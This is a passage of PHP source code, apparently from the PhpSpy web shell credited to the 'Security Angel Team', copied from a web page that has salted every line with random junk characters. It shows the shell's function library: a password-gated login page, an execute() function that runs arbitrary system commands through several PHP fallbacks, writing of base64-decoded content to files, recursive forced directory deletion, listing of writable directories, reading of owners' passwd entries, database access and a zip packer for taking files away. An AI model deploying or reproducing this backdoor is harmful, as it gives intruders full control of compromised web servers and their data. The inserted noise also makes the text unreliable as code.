    9 w* p) r& m. |* r$ W
  1314. . A5 I; \" E4 p& k; N, j
  1315. ?>. y; @0 t/ N9 J. j
  1316. </td></tr></table>; Y# P! k" _! x$ Y8 `. L) X
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
    # p; N1 ^* z2 y$ D; ~% D
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
    4 I4 n& d8 a$ M
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.+ t2 A( l; w7 ^! o, y% e( m/ t
  1320. </div>
    1 P9 S! V; ^! d+ f+ K
  1321. </body>3 _% Z7 a& b" _$ w6 W- {& H
  1322. </html>
    * W( H; U/ N# y4 @

  1323. : ~- c0 U0 Y2 n6 g% J0 @
  1324. <?php
    ; L8 Q  E5 e8 r0 @7 [  ~# B
  1325.   ~) u$ w0 v; A9 Z% K) e
  1326. /*======================================================
    " P! K& f0 h$ V  G# m. c' e! {
  1327. 函数库
    9 x5 v* d' a" |+ y9 S
  1328. ======================================================*/' s7 k1 k0 l. E/ g6 @1 o" ?3 P

  1329. , G( ~, @0 L! O. L2 y
  1330. function m($msg) {
    9 t0 O6 F; ]" l
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';. C1 n4 u' \( c" t5 j
  1332.         echo $msg;$ }6 L- O0 N- o8 k4 s' x/ D
  1333.         echo '</div>';+ I7 f7 r1 ]# B
  1334. }
    4 R+ `# Q0 ]. o5 R, |$ T7 N
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {
    ' w7 ?% W& y% [) i/ t" m
  1336.         global $admin, $timestamp, $_SERVER;
    : q  j% i* a$ U5 s% C3 y+ B( r
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
    7 \7 c0 J, p* d. k
  1338.         $life = $life ? $life : $admin['cookielife'];
    ' n5 ]; D: F9 C" F" G8 O# G& `* Q- N
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;( d/ L, ^1 V7 i# [) ?, h
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);3 x5 ]1 W, `( `- l
  1341. }       
    # g4 u8 J4 J; o
  1342. function multi($num, $perpage, $curpage, $tablename) {8 S/ G; A/ T$ y. z6 c) v1 `
  1343.         $multipage = '';
    ' S* e* N3 r; t6 u# {
  1344.         if($num > $perpage) {' G: X  t* `3 `; D, N" Z6 U9 C
  1345.                 $page = 10;
    ! V1 I$ {0 A' d, \  ^8 B
  1346.                 $offset = 5;# P" F& H8 k" L9 w9 f* c
  1347.                 $pages = @ceil($num / $perpage);) q5 e: ~: z: ?+ b3 J$ z, }
  1348.                 if($page > $pages) {
    : ]+ }  \$ C& N! l1 J: Y7 _5 {) R+ l
  1349.                         $from = 1;! ~! J0 P) r$ j& I2 q/ I
  1350.                         $to = $pages;
    - `: e/ ~# q- n8 o( b4 O
  1351.                 } else {
    8 n9 u: c0 O8 k3 b4 S6 ^) t
  1352.                         $from = $curpage - $offset;0 `( f- D5 _4 c7 y
  1353.                         $to = $curpage + $page - $offset - 1;
    * u: a7 S1 w8 Q( ]
  1354.                         if($from < 1) {
    / N* k) Z: n% O: c: Z! V0 b
  1355.                                 $to = $curpage + 1 - $from;9 @! {* D$ j' v* M& {
  1356.                                 $from = 1;
    5 N0 q2 X& D7 @+ v( s/ m
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
    : g( y2 t+ h$ y7 z
  1358.                                         $to = $page;
    : G% s* B# w: @- }( A; H
  1359.                                 }
    1 C& U$ C+ b( V3 m) w4 J# }$ G
  1360.                         } elseif($to > $pages) {7 k0 @( {+ c0 m! w% V/ b3 w
  1361.                                 $from = $curpage - $pages + $to;; T+ |4 h' G7 l2 g& K2 f3 O
  1362.                                 $to = $pages;
    / B1 Z" n- q' G( ?5 E
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
    9 ^# r' c$ T( E
  1364.                                         $from = $pages - $page + 1;1 l" g) n: G  L# r6 ]
  1365.                                 }
    ' N1 x$ Y$ U0 ^* X' [$ ?
  1366.                         }& N( m: r  G+ ~& d7 g- \1 l+ ^) t
  1367.                 }
    ; A/ b5 \; S; o, k, n, N1 @. G1 L
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');/ f7 B7 E) _; @9 U% y
  1369.                 for($i = $from; $i <= $to; $i++) {
      V& B: w/ o/ M0 ]* h
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';' l7 _- ], _- m+ o& G
  1371.                 }+ e# e, ^* w; I% I1 T0 @) X( _
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
    $ p! |# \, S1 N5 j: V. e9 j0 F/ Y
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';9 j' o( T: ?6 h8 F  S* P! G3 q
  1374.         }
    ) p6 g; e; H  M7 m3 f$ h
  1375.         return $multipage;
    8 J: u+ x( m, D; i6 y( m2 E
  1376. }
    8 ^( ^; y3 @& Y5 m
  1377. // 登陆入口7 T) u' Q$ R2 D$ y8 j6 o
  1378. function loginpage() {+ ]2 p/ U, Z2 w4 \7 B
  1379. ?>- B% v9 X8 h4 x' t
  1380.         <style type="text/css">) F% [! b3 `+ j0 i2 X* `4 }
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}' j% i, H/ K1 f6 }/ M
  1382.         </style>! T, g0 J" W' ?! k
  1383.         <form method="POST" action="">
    3 S; G4 o. R/ z; v4 x+ l2 G
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">2 i% w$ @! k# Z/ c7 z4 L/ a0 F
  1385.         <input type="hidden" name="doing" value="login">
    ; g! m1 R/ N5 v: {- K+ K
  1386.         <input type="submit" value="Login">* g( \; O) [% S& x2 ]
  1387.         </form>2 q7 j( K5 q9 i; ?, L9 }. L
  1388. <?php
    * G4 e" [& k- W$ D
  1389.         exit;
    . h; f4 v' P1 [; S. @
  1390. }//end loginpage()
    0 [$ i' j! j7 H1 i

  1391. 9 F+ V# H; A3 d% K( ?: O1 ]$ _
  1392. function execute($cfe) {) g2 |9 O; X# k6 T
  1393.         $res = '';
    9 J7 l, l5 Y9 e, V4 V
  1394.         if ($cfe) {
    * Y. E: q3 y+ r: M/ \$ D& @& `
  1395.                 if(function_exists('exec')) {
    5 w% d6 x; B) I5 q! |
  1396.                         @exec($cfe,$res);  a2 Z! H- F6 \  J3 ?" r. m; I
  1397.                         $res = join("\n",$res);
    ; \- t6 n1 b3 m9 s3 |! O( i
  1398.                 } elseif(function_exists('shell_exec')) {
    2 v1 Q0 x2 B; X, C
  1399.                         $res = @shell_exec($cfe);
    2 H2 ]! I$ G  r( {" y4 z
  1400.                 } elseif(function_exists('system')) {
    6 w4 S* L" M' ~
  1401.                         @ob_start();
    & e, u5 U8 i1 _5 K* ?' [6 j. l" X
  1402.                         @system($cfe);
    : L, d' Z* y( w
  1403.                         $res = @ob_get_contents();' i7 R$ U$ |8 b9 Y
  1404.                         @ob_end_clean();; k* ]" U$ W/ v; d2 b- }$ C- A/ r/ C2 a
  1405.                 } elseif(function_exists('passthru')) {
    / R4 t- k- n% w- ?9 E5 }
  1406.                         @ob_start();# J# S% R7 c4 O' S: }
  1407.                         @passthru($cfe);: z% v. H7 l  @4 }
  1408.                         $res = @ob_get_contents();2 Q% D; ^' [2 M& F
  1409.                         @ob_end_clean();6 H1 L( {& z/ Q" {6 E
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {/ [7 s+ x7 V. M( A
  1411.                         $res = '';; m4 N! O: y# ^) o: X6 u
  1412.                         while(!@feof($f)) {1 ?& o" z) q* t( E) F# i) ~7 M
  1413.                                 $res .= @fread($f,1024);
    + j- |! ]4 ]* s
  1414.                         }9 d2 J( g5 ]" u. J- V) A
  1415.                         @pclose($f);7 f( \2 Z8 a7 F2 N& d2 X( r$ ]
  1416.                 }  G0 f% h' m4 g0 J/ [
  1417.         }
    ; o8 c$ c7 o! l) h
  1418.         return $res;  ], E( h# E" u# e3 Z
  1419. }) u3 N' D. ^. T# u1 M$ Z0 S" P; q- M
  1420. function which($pr) {# [0 K4 T+ u6 ], e% W
  1421.         $path = execute("which $pr");
    0 w9 _8 I) k; I# l) x
  1422.         return ($path ? $path : $pr);
    + ?( E. w7 b# F9 R6 _
  1423. }4 [) Z1 V$ U/ c3 m. ^

  1424. - }; J, T4 J. \: {7 D
  1425. function cf($fname,$text){
    2 p  R/ b$ n( g* Y# c5 b8 _$ o
  1426.         if($fp=@fopen($fname,'w')) {
    " ?5 `" r: G; b8 l+ m' x8 |: u$ c
  1427.                 @fputs($fp,@base64_decode($text));8 }" G* J5 v# G
  1428.                 @fclose($fp);
    ; I# `: q( G5 c- l
  1429.         }: _# V1 v$ X; r* l
  1430. }
    4 S0 K. ^  J; s* q2 g" _
  1431. 6 v* b3 ]  |: B( L! M/ q8 s9 D: W/ k7 J
  1432. // 页面调试信息. ?) |( H2 u* W: R5 n
  1433. function debuginfo() {3 n+ z" k5 V! S9 Y: |/ ~
  1434.         global $starttime;2 P9 u; M" U, E! g8 w3 \. l  M* ?
  1435.         $mtime = explode(' ', microtime());
    ; Y) a3 _. l( f# U, Q
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
    3 S9 S4 u8 M& S& c- _( ?' h9 Z
  1437.         echo 'Processed in '.$totaltime.' second(s)';
    / V" o2 K1 ]+ m; H: F: ^9 w7 D
  1438. }
    # E- `9 Z0 ~& m

  1439. ( ~" e- X4 H( q0 F2 Q  A
  1440. //连接数据库, d. n8 h. G, K; H' l9 R* ~! h
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {8 r2 t3 R$ }, ?! f
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {0 G4 I- m7 r8 I9 ~" N8 z
  1443.                 p('<h2>Can not connect to MySQL server</h2>');
    " S9 m; N- _4 r3 H: t9 `, F3 i
  1444.                 exit;8 @& k6 R- c, v
  1445.         }0 ~* f0 z% n/ a7 \8 {  l
  1446.         if($link && $dbname) {' J* U: ^4 R/ [5 u+ k
  1447.                 if (!@mysql_select_db($dbname, $link)) {% ~; j/ W" }. s3 N7 [! c6 g
  1448.                         p('<h2>Database selected has error</h2>');
    2 |9 F, _) e% r- H' x
  1449.                         exit;1 q! v( `: g- ^! U" K6 p; f" w/ h1 y; B
  1450.                 }
    5 U0 u! O+ x8 M$ ~9 N
  1451.         }
    6 \1 S: r& v/ A( i8 Y  E
  1452.         if($link && mysql_get_server_info() > '4.1') {7 L! O' z( ^3 I2 V
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {3 I8 R- Z. T" F/ D! g
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
    + B$ A# g# l2 |8 ?
  1455.                 }  S2 i! s4 f. q! u
  1456.         }2 s, s' u5 }2 I
  1457.         return $link;0 }" \2 ^8 V" z# Z2 h$ N+ I/ i
  1458. }- n3 q  R! K6 i9 j! ?& t
  1459. , R. b8 c$ ]4 d# Q" _
  1460. // 去掉转义字符
    8 T) j( ?  j0 U( S8 E$ ^
  1461. function s_array(&$array) {4 s' u4 Z+ x" _. K4 f. ^9 w4 e: @9 ^
  1462.         if (is_array($array)) {% p$ [& b' W# G+ O2 f
  1463.                 foreach ($array as $k => $v) {
    8 l) e6 m* e7 D
  1464.                         $array[$k] = s_array($v);$ B% i$ p# _) j3 }* e' N
  1465.                 }2 r2 e; w% R- O7 u. K" |) w
  1466.         } else if (is_string($array)) {2 W0 M; u$ W# q3 m$ t
  1467.                 $array = stripslashes($array);8 S0 w; O/ F0 l, t% Z$ N; `
  1468.         }
    9 b4 ]2 B5 q( q: H: o7 z4 A  `
  1469.         return $array;! K) b/ U0 Z* i/ _8 u: Q
  1470. }
    / R( k+ k$ b; T( T+ h

  1471. - [/ C4 Q' u4 [# [/ B9 j
  1472. // 清除HTML代码8 W2 s, J- v  l& b# e
  1473. function html_clean($content) {
    ! M7 w' b! Y) h/ p2 ?
  1474.         $content = htmlspecialchars($content);5 C$ G9 K7 S# C( ^3 t) U& V$ e
  1475.         $content = str_replace("\n", "<br />", $content);1 D/ y; J! L! I; _$ H' D4 o
  1476.         $content = str_replace("  ", "  ", $content);
    * p& ]* C. H7 q5 K) E
  1477.         $content = str_replace("\t", "    ", $content);
    & ^$ H" \! x' ]8 F, O! P' M
  1478.         return $content;
    2 U3 B1 c( M9 R9 E6 Z& ?
  1479. }
    / c2 p. l! i: l/ d! T5 N
  1480. 0 a% G& q- I6 G0 t& {
  1481. // 获取权限' [7 F  W6 K" N( e. r. h9 O
  1482. function getChmod($filepath){- O9 J4 w! ~1 C* Y( X* @: t8 N
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
    3 H7 \$ g0 i( d8 G
  1484. }
    ( Y, ]& o4 ?( a# Q  O/ M% _

  1485. - a9 H2 X! o: C. E" y
  1486. function getPerms($filepath) {
    ' h$ L7 `" v4 y: H/ _* j
  1487.         $mode = @fileperms($filepath);5 b! ]" |5 D2 ]; W" N  T
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}3 k8 p% ]  q7 y8 T
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    8 S- A5 |0 @0 a) v1 C
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}* b+ b% F' F1 x, D* T  g/ T1 p* R/ e
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
    : u$ L% o1 e: n
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}0 X6 t4 H7 @" F8 Z) h% H  @1 C7 D9 t
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
    6 ?0 l# C6 ~' `' v$ w
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
    + N6 v  Z: e* \+ {( n( ?
  1495.         else {$type = '?';}
    " e1 a; W3 w4 n; V

  1496. 2 z+ s- V  ^3 u
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';   t, x( I2 h1 C- v
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
    ( j- a1 A$ k9 Y* O' {  Z" a
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-'; ( g# b' F6 f- z6 h5 q6 C+ D" |
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-'; . `9 R. V' t$ Z
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
      ]; q, y/ _- p# h0 {
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
    ' c9 U7 q7 v9 s' J0 Q7 ~) g$ ?
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-'; 8 f" s) z# |" n) S- ^
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
    ; b* n) P2 l$ v
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
    ; g1 |! b$ D9 I$ y! P6 K
  1506. 8 N0 s; R6 n7 @& j: V4 a
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
    . d6 P  |. G2 X+ E
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    - ^) E+ _/ C9 @  l8 x+ ~' n
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
    / @8 r- P1 r: M
  1510. : f: Z/ i2 ]! z
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
    $ B  q  H9 [) j. e" W4 y
  1512. }
    8 X% p  O" w4 n8 l/ m, a, [
  1513. * ~& W! [# n' ^  j9 p; g  }5 E
  1514. function getUser($filepath)        {
    0 p! t! t1 z+ c$ Q: r% G$ _
  1515.         if (function_exists('posix_getpwuid')) {/ k. W; ~( C* m" t
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));
      E. Z# ]2 m( ]4 |. T$ Z, f
  1517.                 if ($array && is_array($array)) {
    6 F4 @  B! J% G! M! Z
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'/ ^5 N5 r/ m9 ]1 E5 M
  1519. Passwd: '.$array['passwd'].'" B9 q: x+ v1 T0 p5 q& m4 _
  1520. Uid: '.$array['uid'].'
    , S% \- `4 `) p2 x1 O- ~2 B% ~
  1521. gid: '.$array['gid'].'
    2 |& U5 `& {, W+ N9 e( I4 r; C
  1522. Gecos: '.$array['gecos'].'0 I0 ~/ |; U( G: v4 i, {
  1523. Dir: '.$array['dir'].'
    # K. Q) @* p& V! E0 X
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
    ; O1 i2 S) ^+ U0 I$ }
  1525.                 }  l. `9 p5 S" ^5 s6 N
  1526.         }8 r$ L* E& |3 q: a! w- \
  1527.         return '';
    ' h2 x& C" z7 p3 M4 R0 K4 u
  1528. }
    1 H. Q0 j% Q! _9 S

  1529. 7 k$ F6 ?% A1 k
  1530. // 删除目录
    # s3 g9 n+ \2 V$ @
  1531. function deltree($deldir) {
    , X: I2 y! ?: y
  1532.         $mydir=@dir($deldir);        $ A, t) {( ^$ k8 F% Z0 g# W
  1533.         while($file=$mydir->read())        {                 * K0 `1 K- F9 I
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
    - u0 b2 J7 q$ f& \
  1535.                         @chmod($deldir.'/'.$file,0777);; D& X, C. j+ J6 R
  1536.                         deltree($deldir.'/'.$file);
    : N, `& ?7 V8 {' N0 a" Q, m1 `
  1537.                 }
    7 t1 A0 j2 M' l% C, D$ P( x
  1538.                 if (is_file($deldir.'/'.$file)) {" f$ s4 B' s; \5 `- i
  1539.                         @chmod($deldir.'/'.$file,0777);
    % L3 [. B- M; N5 a& R3 a" F6 {
  1540.                         @unlink($deldir.'/'.$file);" s  ~9 o) I' D% Z* J3 [
  1541.                 }* j+ j0 c9 [- N3 I% _, ?' r, z
  1542.         } " v4 |; l4 z7 w6 W5 H6 C  x
  1543.         $mydir->close();
    3 ?; y5 K" V9 M$ I
  1544.         @chmod($deldir,0777);
    ' c4 i; u9 O5 f( R8 L- d6 _/ p
  1545.         return @rmdir($deldir) ? 1 : 0;
    1 A5 L: e" O/ y  f
  1546. }8 _. x) G, R4 p; r
  1547. % J/ ~. b( ?& h0 E2 W, G& @
  1548. // 表格行间的背景色替换
    4 g* I. @# r$ S0 P# P
  1549. function bg() {
    & x, Q3 z$ I0 l! L( |- B$ u1 V
  1550.         global $bgc;. D8 \# a2 H5 o0 K+ O. S
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';  N' {- N2 m" m$ {8 B2 p
  1552. }
    ' S1 `; a9 k( G0 U, U
  1553. 1 Z8 A% Y9 a: z9 R% E
  1554. // 获取当前的文件系统路径1 `) H9 Y. j" O. n* W% ^3 E
  1555. function getPath($scriptpath, $nowpath) {
    ) i' s( M" F- y7 R4 f5 ?
  1556.         if ($nowpath == '.') {
    3 V) e( l) x6 _
  1557.                 $nowpath = $scriptpath;5 g! q$ H3 u( T# A
  1558.         }
    - c/ k6 ]6 _9 E
  1559.         $nowpath = str_replace('\\', '/', $nowpath);7 C# e( ?0 L2 Y$ h
  1560.         $nowpath = str_replace('//', '/', $nowpath);
    / t9 ?6 |( B0 D4 h
  1561.         if (substr($nowpath, -1) != '/') {( P8 s7 ^8 V; V
  1562.                 $nowpath = $nowpath.'/';
    + s! I6 O: p# V
  1563.         }
    3 R: m; ~6 C" ^
  1564.         return $nowpath;3 Y, N) b) G7 n2 Z# D1 a% _! K
  1565. }
    & l' \- o$ a7 r3 V( F
  1566.   B0 L! Q% o0 k0 y* j! w) v1 h; b
  1567. // 获取当前目录的上级目录9 ^: D$ B* s" Z4 j* N8 v
  1568. function getUpPath($nowpath) {
    $ b0 l4 w8 b6 I% m+ I, {2 |0 _
  1569.         $pathdb = explode('/', $nowpath);6 G. i7 s; U9 o4 m& k; y' L6 D
  1570.         $num = count($pathdb);; n# [1 v) \( F  |4 R2 A. M
  1571.         if ($num > 2) {
    ; I: h! v5 c% `# i- N4 O# T
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);
    3 u" W( c9 W% Q+ G$ u8 T3 a
  1573.         }# {3 y% F- C6 O2 U
  1574.         $uppath = implode('/', $pathdb).'/';3 ?/ M" W- Q. A* _, D
  1575.         $uppath = str_replace('//', '/', $uppath);& s1 n$ @3 v2 c/ u+ Z  r4 n1 F. U
  1576.         return $uppath;
    % P! s. Z0 F' o1 c) X2 S
  1577. }+ m9 x' z/ T  M" M$ e

  1578. * q: n4 L9 w* `  ^0 ?
  1579. // 检查PHP配置参数
    5 q! Z7 A+ }5 S) n' C
  1580. function getcfg($varname) {. B+ e) ]5 H/ B% @1 s, Q+ H
  1581.         $result = get_cfg_var($varname);
    1 L4 V. T: l. V7 W' Z. ~& [- ?
  1582.         if ($result == 0) {
    # a3 r9 [8 ~7 s7 H
  1583.                 return 'No';3 B) w4 G# _# o3 l; w7 Z
  1584.         } elseif ($result == 1) {1 H) @7 x. e3 m% I+ j* d" w
  1585.                 return 'Yes';
    , K$ f% y' v9 @! ^5 E
  1586.         } else {; J5 Y5 G- m4 E& x& [. k5 q' q
  1587.                 return $result;; D1 W( p; J5 Q) d- G
  1588.         }: J$ n: V( Y+ y) X+ g! c1 A* n- D
  1589. }4 V* Z" p2 w3 g

  1590. & F$ J8 f$ X% j) t! M
  1591. // 检查函数情况" U$ _9 y0 y" E# O
  1592. function getfun($funName) {
    , n# D- s0 Z3 ]: z* q" j; a; |8 q
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';& f$ W; I& d# s8 ^
  1594. }
    0 i2 t& D) W6 ]% _" X4 X9 s; t
  1595. ! \  c6 x$ M$ y3 v# X/ d# \' G3 `
  1596. function GetList($dir){
    4 q! i# g' a, f2 q0 X
  1597.         global $dirdata,$j,$nowpath;" A: e3 w$ y3 B! q& A5 K+ z/ W
  1598.         !$j && $j=1;
    # W" ?* t; x/ N8 q% D
  1599.         if ($dh = opendir($dir)) {
    0 n* D# D' x3 [8 ~, r1 Z: v2 h
  1600.                 while ($file = readdir($dh)) {
    ) `5 n6 w  e6 d/ w
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);
    . [% ?  c9 q; V$ e% ^" D
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){
    # I6 K: Z0 J5 u6 E0 g( V
  1603.                                 if (is_writable($f)) {
    2 ~* s' m( u6 p8 M. t
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
    3 _6 ]" S4 X4 S+ R; B. ~) v, s
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
    1 K4 C5 [* q5 G, W1 ], s# b
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);8 s' J- ^8 [* H3 v6 [9 q# P
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);) c- A$ R- q4 d8 _8 a: p
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);% r4 ^% I$ N% u6 e) W
  1609.                                         $dirdata[$j]['server_link']=$f;
    # V2 D" }. ^) A7 E( u/ _9 r
  1610.                                         $dirdata[$j]['client_link']=ue($f);0 ^6 f' w1 f; T; ]
  1611.                                         $j++;
    ! _) \- E1 `: k6 K5 Z
  1612.                                 }& c4 v6 }3 _8 H* I( V
  1613.                                 GetList($f);2 z! Y6 G* ]4 E" F
  1614.                         }7 C  a3 S: V/ q+ V
  1615.                 }
    , X! \7 c( i3 ~" H, j6 U
  1616.                 closedir($dh);5 j- T; \9 ?" {* u- g. k
  1617.                 clearstatcache();
    8 y4 b) T4 R8 K% I! l
  1618.                 return $dirdata;
    1 x- j" z9 e' U5 O& T1 a% b3 u
  1619.         } else {) D- z9 S8 Q9 E
  1620.                 return array();2 J0 q3 o$ v7 y3 e
  1621.         }
    4 Z1 q+ I$ |+ P) y+ M# k* W
  1622. }' e4 S3 D  K7 F& k# z

  1623. 7 y$ [; \/ }, }+ B: V5 V
  1624. function qy($sql) {
    7 Q. [  s0 C$ E+ ~3 {7 ^. S6 F
  1625.         //echo $sql.'<br>';2 Q3 A* g$ K  J3 F: M4 v; V3 t, k
  1626.         $res = $error = '';6 ]% V) t, Q, p8 E* ^
  1627.         if(!$res = @mysql_query($sql)) { , W2 ^: ?. \/ G% m& B  A
  1628.                 return 0;; f+ N& \7 u, L  L
  1629.         } else if(is_resource($res)) {
    % `' w# }! {, }1 M# S+ B- x. Q
  1630.                 return 1; , b& p& Z6 k" C- t
  1631.         } else {
    0 `  D  x$ b# t) Q/ o7 ~. r
  1632.                 return 2;
    + _/ X/ w! X; ?1 N$ F
  1633.         }       
    ) z8 L3 z+ B! f8 k7 I
  1634.         return 0;
    % C' Z4 f( S- e
  1635. }! l& R5 f3 g7 E" ^+ M; @% G4 u$ }
  1636. $ G2 S1 u; |% W/ G- t
  1637. function q($sql) { $ O6 g7 X% e- X- d, c7 A2 S% I$ l
  1638.         return @mysql_query($sql);0 x! [* X2 {7 ^5 P1 d
  1639. }
    8 z% l8 m9 k2 Z, i& W

  1640. ; ^6 Y4 \! W% X
  1641. function fr($qy){
    # g0 C$ S/ u0 T7 E* t
  1642.         mysql_free_result($qy);
    ; M! O) F/ V/ T5 k
  1643. }
    6 l4 _$ q2 Z4 c3 h8 U
  1644. ( E- e8 ~9 o$ D3 U; u
  1645. function sizecount($size) {
    7 V1 m  b0 W* ]3 K; U. ]: l8 v
  1646.         if($size > 1073741824) {% ?/ b: z. C' L: e6 T
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';1 E7 A3 C7 r- y0 t3 ^* P
  1648.         } elseif($size > 1048576) {+ a( h1 h! P/ W
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
      `3 b1 d1 t; I2 Q& w6 c. I
  1650.         } elseif($size > 1024) {
    + |: M. O* b1 F8 ^8 a5 n* Q
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';& C# j2 }/ D% P! q! Y
  1652.         } else {
    " W+ b# j  A6 k2 l
  1653.                 $size = $size . ' B';4 n, L( z. a7 y& d
  1654.         }2 H3 V5 Y! ^# h+ e1 E: u' l
  1655.         return $size;
    ! o* E* L. h0 Y# l3 V- {
  1656. }- [  m1 L5 `4 x9 v# k8 Y; n
  1657. 2 f1 C& n- I& |5 j9 I( W0 \( e9 H
  1658. // 压缩打包类" P, f) }% k2 [0 [0 O' Y
  1659. class PHPZip{
    . e1 M. }2 S& V' I7 [0 I4 X
  1660.         var $out='';
    # F" r: x# G! u. ]
  1661.         function PHPZip($dir)        {. O+ m$ l  }) P1 {) k  R
  1662.                 if (@function_exists('gzcompress'))        {& O4 I( a2 \* s+ T1 f: [
  1663.                         $curdir = getcwd();1 X4 j0 X( N) @) u( i$ h
  1664.                         if (is_array($dir)) $filelist = $dir;
    # w6 V* A# ?; q! Z8 k
  1665.                         else{
    - I6 Q+ \/ i7 F1 ~( W- S
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
    7 o, t2 G6 A! k: a% r+ L
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
    * j$ P  o4 W5 z% W+ e: g
  1668.                         }
    * h! B" b: J( ~8 Z+ r
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
    0 t# X/ A' \) f- q  B/ v& ?) E8 b% w
  1670.                         else chdir($curdir);
    2 i, I0 O' u. n* b. i
  1671.                         if (count($filelist)>0){
    ; L3 I9 y. k/ \1 U
  1672.                                 foreach($filelist as $filename){: |* t3 l5 f# U9 H- G6 z7 }* w
  1673.                                         if (is_file($filename)){+ T4 r5 t( L0 [! }% X' Q- K
  1674.                                                 $fd = fopen ($filename, 'r');( z1 N2 F% b" g) j' V
  1675.                                                 $content = @fread ($fd, filesize($filename));- z$ J8 q7 _! @- L0 R
  1676.                                                 fclose ($fd);5 i8 D( c8 ]! w+ ?4 Y2 v% s
  1677.                                                 if (is_array($dir)) $filename = basename($filename);
    ) o) ^: ^6 L) S! p7 r- Q
  1678.                                                 $this -> addFile($content, $filename);( a: s( o  s, q! Z
  1679.                                         }! y/ M; I$ F% _- k8 r
  1680.                                 }
    % u; {7 o+ `. Q( a" N
  1681.                                 $this->out = $this -> file();
    : Q) @' {  ?- s
  1682.                                 chdir($curdir);3 q" N( ]$ ]7 m6 X7 \( \6 e( j
  1683.                         }
    8 a6 e* W" @2 ^$ f
  1684.                         return 1;$ D% N9 l0 d5 s4 h  h( Z
  1685.                 }0 D# }' x4 v8 {9 x, B8 ]4 p: _
  1686.                 else return 0;- b, a) D( l1 h
  1687.         }  T$ k6 b# s* T4 ?

  1688. 1 R3 U, X& _) G! Y
  1689.         // 获得指定目录文件列表
    & g8 ^0 n* r" S( W1 m' B, U- w
  1690.         function GetFileList($dir){# R# s! X: ^: s5 [
  1691.                 static $a;
